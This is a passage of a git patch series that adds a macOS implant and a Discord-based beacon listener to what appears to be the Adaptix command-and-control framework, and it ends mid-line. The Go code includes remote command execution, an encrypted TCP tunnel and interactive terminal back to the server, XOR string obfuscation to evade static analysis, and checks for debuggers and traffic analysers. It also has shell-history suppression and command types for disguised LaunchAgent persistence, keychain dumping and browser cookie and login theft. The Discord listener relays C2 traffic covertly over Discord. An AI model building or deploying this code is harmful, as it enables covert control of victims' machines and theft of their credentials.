[][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + } + } + } + }() + + time.Sleep(200 * time.Millisecond) + err = cmd.Wait() + wg.Wait() + close(done) + + stdoutMu.Lock() + finalOut := stdoutBuf.String() + stdoutMu.Unlock() + stderrMu.Lock() + finalErrOut := stderrBuf.String() + stderrMu.Unlock() + + for { + ansRun := utils.AnsRun{Pid: pid} + hasMore := false + + if len(finalOut) > lastOutLen { + chunk := finalOut[lastOutLen:] + if len(chunk) > maxChunkSize { + ansRun.Stdout = chunk[:maxChunkSize] + lastOutLen += maxChunkSize + hasMore = true + } else { + ansRun.Stdout = chunk + lastOutLen = len(finalOut) + } + } + + if len(finalErrOut) > lastErrLen { + chunk := finalErrOut[lastErrLen:] + if len(chunk) > maxChunkSize { + ansRun.Stderr = chunk[:maxChunkSize] + lastErrLen += maxChunkSize + hasMore = true + } else { + ansRun.Stderr = chunk + lastErrLen = len(finalErrOut) + } + } + + if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 { + job.Data, _ = msgpack.Marshal(ansRun) + packedJob, _ = msgpack.Marshal(job) + message = utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + sendData, _ = msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + + if hasMore { + time.Sleep(100 * time.Millisecond) + } + } + + if !hasMore { + break + } + } + + /// FINISH + + job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Finish: true}) + packedJob, _ = msgpack.Marshal(job) + + message = utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ = msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + }() + + return nil, nil +} + +func jobTunnel(paramsData []byte) { + var params utils.ParamsTunnelStart + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + go func() { + active := true + reason := byte(0) + clientConn, err := net.DialTimeout(params.Proto, params.Address, 200*time.Millisecond) + if err != nil { + active = false + var opErr *net.OpError + if errors.As(err, &opErr) { + if opErr.Timeout() { + reason = 4 + } + if errors.Is(syscall.ECONNREFUSED, opErr.Err) { + reason = 5 + } + if errors.Is(syscall.ENETUNREACH, opErr.Err) { + reason = 3 + } + } + } + + var srvConn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + srvConn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + srvConn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + srvConn.Close() + return + } + + tunKey := make([]byte, 16) + _, _ = rand.Read(tunKey) + tunIv := make([]byte, 16) + _, _ = rand.Read(tunIv) + + jobPack, _ := msgpack.Marshal(utils.TunnelPack{Id: uint(AgentId), Type: profile.Type, ChannelId: params.ChannelId, Key: tunKey, Iv: tunIv, Alive: active, Reason: reason}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TUNNEL, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(srvConn, profile.BannerSize) + if err != nil { + srvConn.Close() + return + } + } + + /// Send Init + functions.SendMsg(srvConn, jobMsg) + + if !active { + srvConn.Close() + return + } + + encCipher, _ := aes.NewCipher(tunKey) + encStream := cipher.NewCTR(encCipher, tunIv) + streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn} + + decCipher, _ := aes.NewCipher(tunKey) + decStream := cipher.NewCTR(decCipher, tunIv) + streamReader := &cipher.StreamReader{S: decStream, R: srvConn} + + ctx, cancel := context.WithCancel(context.Background()) + ctrl := &TunnelController{ + Cancel: cancel, + } + TUNNELS.Store(params.ChannelId, ctrl) + defer TUNNELS.Delete(params.ChannelId) + + var closeOnce sync.Once + closeAll := func() { + closeOnce.Do(func() { + _ = clientConn.Close() + _ = srvConn.Close() + }) + } + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + io.Copy(clientConn, streamReader) + closeAll() + }() + + go func() { + defer wg.Done() + buf := make([]byte, 32*1024) + for { + select { + case <-ctx.Done(): + return + default: + if ctrl.Paused.Load() { + time.Sleep(50 * time.Millisecond) + continue + } + + clientConn.SetReadDeadline(time.Now().Add(500 * time.Millisecond)) + nr, er := clientConn.Read(buf) + if nr > 0 { + _, ew := streamWriter.Write(buf[0:nr]) + if ew != nil { + closeAll() + return + } + } + if er != nil { + if netErr, ok := er.(net.Error); ok && netErr.Timeout() { + continue + } + closeAll() + return + } + } + } + }() + + go func() { + <-ctx.Done() + closeAll() + }() + + wg.Wait() + + cancel() + }() +} + +func jobTerminal(paramsData []byte) { + var params utils.ParamsTerminalStart + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + go func() { + active := true + status := "" + + process := exec.Command(params.Program) + ptyProc, err := functions.StartPtyCommand(process, uint16(params.Width), uint16(params.Height)) + if err != nil { + active = false + status = err.Error() + } + + var srvConn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + srvConn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + srvConn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + if active { + functions.StopPty(ptyProc) + _ = process.Process.Kill() + } + return + } + + tunKey := make([]byte, 16) + _, _ = rand.Read(tunKey) + tunIv := make([]byte, 16) + _, _ = rand.Read(tunIv) + + jobPack, _ := msgpack.Marshal(utils.TermPack{Id: uint(AgentId), TermId: params.TermId, Key: tunKey, Iv: tunIv, Alive: active, Status: status}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TERMINAL, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(srvConn, profile.BannerSize) + if err != nil { + srvConn.Close() + if active { + functions.StopPty(ptyProc) + _ = process.Process.Kill() + } + return + } + } + + /// Send Init + _ = functions.SendMsg(srvConn, jobMsg) + + if !active { + srvConn.Close() + return + } + + encCipher, _ := aes.NewCipher(tunKey) + encStream := cipher.NewCTR(encCipher, tunIv) + streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn} + + decCipher, _ := aes.NewCipher(tunKey) + decStream := cipher.NewCTR(decCipher, tunIv) + streamReader := &cipher.StreamReader{S: decStream, R: srvConn} + + ctx, cancel := context.WithCancel(context.Background()) + TERMINALS.Store(params.TermId, cancel) + defer TERMINALS.Delete(params.TermId) + + var closeOnce sync.Once + closeAll := func() { + closeOnce.Do(func() { + time.Sleep(200 * time.Millisecond) + _ = functions.StopPty(ptyProc) + if functions.IsProcessRunning(process) { + _ = process.Process.Kill() + } + _ = srvConn.Close() + }) + } + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + functions.RelayConnToPty(ptyProc, streamReader) + closeAll() + }() + + go func() { + defer wg.Done() + functions.RelayPtyToConn(streamWriter, ptyProc) + closeAll() + }() + + go func() { + <-ctx.Done() + closeAll() + }() + + wg.Wait() + _ = process.Wait() + cancel() + }() +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go new file mode 100644 index 000000000..a9a71f9fc --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go @@ -0,0 +1,57 @@ +package utils + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "fmt" + "io" +) + +var SKey []byte + +func EncryptData(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func DecryptData(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + return plaintext, nil +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go new file mode 100644 index 000000000..12214422f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go @@ -0,0 +1,16 @@ +//go:build debug + +package utils + +import ( + "fmt" + "os" + "time" +) + +// DebugLog prints debug messages to stderr when built with -tags=debug. +// Never included in production payloads. +func DebugLog(format string, args ...interface{}) { + msg := fmt.Sprintf(format, args...) + fmt.Fprintf(os.Stderr, "[DBG %s] %s\n", time.Now().Format("15:04:05"), msg) +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go new file mode 100644 index 000000000..56623c3f3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go @@ -0,0 +1,6 @@ +//go:build !debug + +package utils + +// DebugLog is a no-op in release builds. The compiler eliminates these calls. +func DebugLog(format string, args ...interface{}) {} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go new file mode 100644 index 000000000..91009c0e3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go @@ -0,0 +1,26 @@ +package utils + +// PLACEHOLDER — overwritten at build-time by pl_main.go:generateObfuscatedStrings(). +// Each payload build generates a unique XOR key and re-encodes all strings. +// These plaintext fallbacks exist only for dev-time compilation (go vet, IDE). + +func StrHwModel() string { return "hw.model" } +func StrKernBootargs() string { return "kern.bootargs" } +func StrAmfiBypass() string { return "amfi_get_out_of_my_way" } +func StrSandboxEnv() string { return "APP_SANDBOX_CONTAINER_ID" } +func StrHopper() string { return "/Applications/Hopper Disassembler v4.app" } +func StrIDA() string { return "/Applications/IDA Pro.app" } +func StrGhidra() string { return "/Applications/Ghidra.app" } +func StrCharles() string { return "/Applications/Charles.app" } +func StrProxyman() string { return "/Applications/Proxyman.app" } +func StrWireshark() string { return "/Applications/Wireshark.app" } +func StrSystemVersionPlist() string { return "/System/Library/CoreServices/SystemVersion.plist" } +func StrProductVersion() string { return "ProductVersion" } +func StrMacOS() string { return "MacOS" } +func StrHistfile() string { return "HISTFILE=/dev/null" } +func StrHistfilesize() string { return "HISTFILESIZE=0" } +func StrHistsize() string { return "HISTSIZE=0" } +func StrHistory() string { return "HISTORY=" } +func StrHistsave() string { return "HISTSAVE=" } +func StrHistzone() string { return "HISTZONE=" } +func StrHistlog() string { return "HISTLOG=" } diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go new file mode 100644 index 000000000..7181c8b77 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go @@ -0,0 +1,360 @@ +package utils + +import ( + "context" + "net" +) + +type Connection struct { + PackType int + Conn net.Conn + Ctx context.Context + HandleCancel context.CancelFunc + JobCancel context.CancelFunc +} + +/// Listener + +const ( + INIT_PACK = 1 + EXFIL_PACK = 2 + JOB_PACK = 3 + JOB_TUNNEL = 4 + JOB_TERMINAL = 5 +) + +type StartMsg struct { + Type int `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type InitPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Data []byte `msgpack:"data"` +} + +type ExfilPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Task string `msgpack:"task"` +} + +type JobPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Task string `msgpack:"task"` +} + +type TunnelPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + ChannelId int `msgpack:"channel_id"` + Key []byte `msgpack:"key"` + Iv []byte `msgpack:"iv"` + Alive bool `msgpack:"alive"` + Reason byte `msgpack:"reason"` +} + +type TermPack struct { + Id uint `msgpack:"id"` + TermId int `msgpack:"term_id"` + Key []byte `msgpack:"key"` + Iv []byte `msgpack:"iv"` + Alive bool `msgpack:"alive"` + Status string `msgpack:"status"` +} + +/// Agent + +type Profile struct { + Type uint `msgpack:"type"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type AnsScreenshots struct { + Screens [][]byte `msgpack:"screens"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +/// Phase 4 — Persistence & Post-exploitation types + +type ParamsPersist struct { + Action string `msgpack:"action"` // install, remove, status + Method string `msgpack:"method"` // launchagent, launchdaemon + Name string `msgpack:"name"` // plist label (e.g. com.apple.mdworker.local) +} + +type AnsPersist struct { + Output string `msgpack:"output"` +} + +type ParamsDefaults struct { + Domain string `msgpack:"domain"` +} + +type ParamsKeychain struct { + Action string `msgpack:"action"` // list, dump +} + +type ParamsBrowserDump struct { + Browser string `msgpack:"browser"` // chrome, firefox + Target string `msgpack:"target"` // cookies, history, logins +} + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_SCREENSHOT = 16 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // macOS-specific commands (slots 21-30) + COMMAND_CLIPBOARD = 21 + COMMAND_PERSIST = 22 + COMMAND_TCC_CHECK = 23 + COMMAND_DEFAULTS = 24 + COMMAND_EDR_CHECK = 25 + COMMAND_KEYCHAIN = 26 + COMMAND_BROWSER_DUMP = 27 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 +) diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go new file mode 100644 index 000000000..601dd28ca --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go @@ -0,0 +1,12 @@ +package utils + +// Xor decodes a XOR-obfuscated byte slice with the given key. +// Used to hide sensitive strings from static analysis (strings command). +func Xor(data []byte, key []byte) string { + out := make([]byte, len(data)) + kl := len(key) + for i := range data { + out[i] = data[i] ^ key[i%kl] + } + return string(out) +} From faea73a2d12529e1d28ac4edb757fba5f3e3be47 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:46:29 +0200 Subject: [PATCH 03/11] feat: add Discord beacon listener Discord-based C2 channel using Discord bot API for beacon communication. Provides covert communication over legitimate Discord infrastructure. --- .../beacon_listener_discord/Makefile | 9 + .../beacon_listener_discord/ax_config.axs | 90 ++++ .../beacon_listener_discord/config.yaml | 7 + .../extenders/beacon_listener_discord/go.mod | 5 + .../beacon_listener_discord/pl_main.go | 243 +++++++++++ .../beacon_listener_discord/pl_transport.go | 394 ++++++++++++++++++ 6 files changed, 748 insertions(+) create mode 100644 AdaptixServer/extenders/beacon_listener_discord/Makefile create mode 100644 AdaptixServer/extenders/beacon_listener_discord/ax_config.axs create mode 100644 AdaptixServer/extenders/beacon_listener_discord/config.yaml create mode 100644 AdaptixServer/extenders/beacon_listener_discord/go.mod create mode 100644 AdaptixServer/extenders/beacon_listener_discord/pl_main.go create mode 100644 AdaptixServer/extenders/beacon_listener_discord/pl_transport.go diff --git a/AdaptixServer/extenders/beacon_listener_discord/Makefile b/AdaptixServer/extenders/beacon_listener_discord/Makefile new file mode 100644 index 000000000..448269b46 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building listener_beacon_discord plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_beacon_discord.so pl_main.go pl_transport.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs new file mode 100644 index 000000000..4a381aa05 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs @@ -0,0 +1,90 @@ +/// Beacon Discord listener + +function ListenerUI(mode_create) +{ + // BOT TOKEN + let labelBotToken = form.create_label("Bot Token:"); + let textlineBotToken = form.create_textline(); + textlineBotToken.setPlaceholder("Discord bot token (server-side only)"); + textlineBotToken.setEnabled(mode_create); + + // CHANNEL IDS + let labelChannelBeacon = form.create_label("Beacon Channel ID:"); + let textlineChannelBeacon = form.create_textline(); + textlineChannelBeacon.setPlaceholder("Channel for beacon -> server messages"); + textlineChannelBeacon.setEnabled(mode_create); + + let labelChannelTasks = form.create_label("Tasks Channel ID:"); + let textlineChannelTasks = form.create_textline(); + textlineChannelTasks.setPlaceholder("Channel for server -> beacon tasks"); + textlineChannelTasks.setEnabled(mode_create); + + // WEBHOOK URL + let labelWebhook = form.create_label("Webhook URL:"); + let textlineWebhook = form.create_textline(); + textlineWebhook.setPlaceholder("https://discord.com/api/webhooks/..."); + + // POLL INTERVAL + let labelPollInterval = form.create_label("Poll Interval (seconds):"); + let spinPollInterval = form.create_spin(); + spinPollInterval.setRange(1, 60); + spinPollInterval.setValue(5); + + // CLEANUP + let checkCleanup = form.create_check("Delete messages after reading"); + checkCleanup.setChecked(true); + + // ENCRYPTION KEY + let labelEncryptKey = form.create_label("Encryption key:"); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); + textlineEncryptKey.setEnabled(mode_create); + let buttonEncryptKey = form.create_button("Generate"); + buttonEncryptKey.setEnabled(mode_create); + + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); + + // LAYOUT + let layoutMain = form.create_gridlayout(); + layoutMain.addWidget(labelBotToken, 0, 0, 1, 1); + layoutMain.addWidget(textlineBotToken, 0, 1, 1, 2); + layoutMain.addWidget(labelChannelBeacon, 1, 0, 1, 1); + layoutMain.addWidget(textlineChannelBeacon,1, 1, 1, 2); + layoutMain.addWidget(labelChannelTasks, 2, 0, 1, 1); + layoutMain.addWidget(textlineChannelTasks, 2, 1, 1, 2); + layoutMain.addWidget(labelWebhook, 3, 0, 1, 1); + layoutMain.addWidget(textlineWebhook, 3, 1, 1, 2); + layoutMain.addWidget(labelPollInterval, 4, 0, 1, 1); + layoutMain.addWidget(spinPollInterval, 4, 1, 1, 2); + layoutMain.addWidget(checkCleanup, 5, 0, 1, 3); + layoutMain.addWidget(labelEncryptKey, 6, 0, 1, 1); + layoutMain.addWidget(textlineEncryptKey, 6, 1, 1, 1); + layoutMain.addWidget(buttonEncryptKey, 6, 2, 1, 1); + + let panelMain = form.create_panel(); + panelMain.setLayout(layoutMain); + + let tabs = form.create_tabs(); + tabs.addTab(panelMain, "Main settings"); + + let layout = form.create_hlayout(); + layout.addWidget(tabs); + + let container = form.create_container(); + container.put("bot_token", textlineBotToken); + container.put("channel_beacon", textlineChannelBeacon); + container.put("channel_tasks", textlineChannelTasks); + container.put("webhook_url", textlineWebhook); + container.put("poll_interval", spinPollInterval); + container.put("cleanup", checkCleanup); + container.put("encrypt_key", textlineEncryptKey); + + let panel = form.create_panel(); + panel.setLayout(layout); + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 650 + } +} diff --git a/AdaptixServer/extenders/beacon_listener_discord/config.yaml b/AdaptixServer/extenders/beacon_listener_discord/config.yaml new file mode 100644 index 000000000..7c1992e5e --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/config.yaml @@ -0,0 +1,7 @@ +extender_type: "listener" +extender_file: "listener_beacon_discord.so" +ax_file: "ax_config.axs" + +listener_name: "BeaconDiscord" +listener_type: "external" +protocol: "discord" diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.mod b/AdaptixServer/extenders/beacon_listener_discord/go.mod new file mode 100644 index 000000000..7a5fead21 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/go.mod @@ -0,0 +1,5 @@ +module adaptix_listener_beacon_discord + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_main.go b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go new file mode 100644 index 000000000..692c13b25 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go @@ -0,0 +1,243 @@ +package main + +import ( + "bytes" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "regexp" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsAgentIsExists(agentId string) bool + TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error) + TsAgentProcessData(agentId string, bodyData []byte) error + TsAgentSetTick(agentId string, listenerName string) error + TsAgentGetHostedAll(agentId string, maxDataSize int) ([]byte, error) +} + +type PluginListener struct{} + +var ( + ModuleDir string + ListenerDataDir string + Ts Teamserver +) + +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + Ts = ts.(Teamserver) + return &PluginListener{} +} + +func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + var ( + listener *Listener + listenerData adaptix.ListenerData + conf ConfigDiscord + customdData []byte + err error + ) + + /// START CODE HERE + + if customData == nil { + if err = validConfig(config); err != nil { + return nil, listenerData, customdData, err + } + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey) + if err != nil { + return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err) + } + + } else { + err = json.Unmarshal(customData, &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey) + if err != nil { + return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err) + } + } + + transport := &TransportDiscord{ + Name: name, + Config: conf, + Active: false, + } + + listenerData = adaptix.ListenerData{ + BindHost: "discord", + BindPort: "0", + AgentAddr: conf.WebhookUrl, + Protocol: "discord", + Status: "Stopped", + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(transport.Config) + if err != nil { + return nil, listenerData, customdData, err + } + customdData = buffer.Bytes() + + listener = &Listener{transport: transport} + + /// END CODE HERE + + return listener, listenerData, customdData, nil +} + +func (l *Listener) Start() error { + + /// START CODE HERE + + return l.transport.Start(Ts) + + /// END CODE HERE +} + +func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) { + var ( + listenerData adaptix.ListenerData + conf ConfigDiscord + customdData []byte + err error + ) + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return listenerData, customdData, err + } + + /// START CODE HERE + + l.transport.Config.WebhookUrl = conf.WebhookUrl + l.transport.Config.PollInterval = conf.PollInterval + l.transport.Config.Cleanup = conf.Cleanup + + listenerData = adaptix.ListenerData{ + BindHost: "discord", + BindPort: "0", + AgentAddr: l.transport.Config.WebhookUrl, + Status: "Listen", + } + if !l.transport.Active { + listenerData.Status = "Closed" + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return listenerData, customdData, err + } + customdData = buffer.Bytes() + + /// END CODE HERE + + return listenerData, customdData, nil +} + +func (l *Listener) Stop() error { + + /// START CODE HERE + + return l.transport.Stop() + + /// END CODE HERE +} + +func (l *Listener) GetProfile() ([]byte, error) { + var buffer bytes.Buffer + + /// START CODE HERE + + // Return only what the beacon needs: webhook URL, channel IDs, poll interval, encrypt key + profile := map[string]any{ + "protocol": "discord", + "webhook_url": l.transport.Config.WebhookUrl, + "bot_token": l.transport.Config.BotToken, + "channel_beacon": l.transport.Config.ChannelBeacon, + "channel_tasks_id": l.transport.Config.ChannelTasks, + "poll_interval": l.transport.Config.PollInterval, + "encrypt_key": l.transport.Config.EncryptKey, + "cleanup": 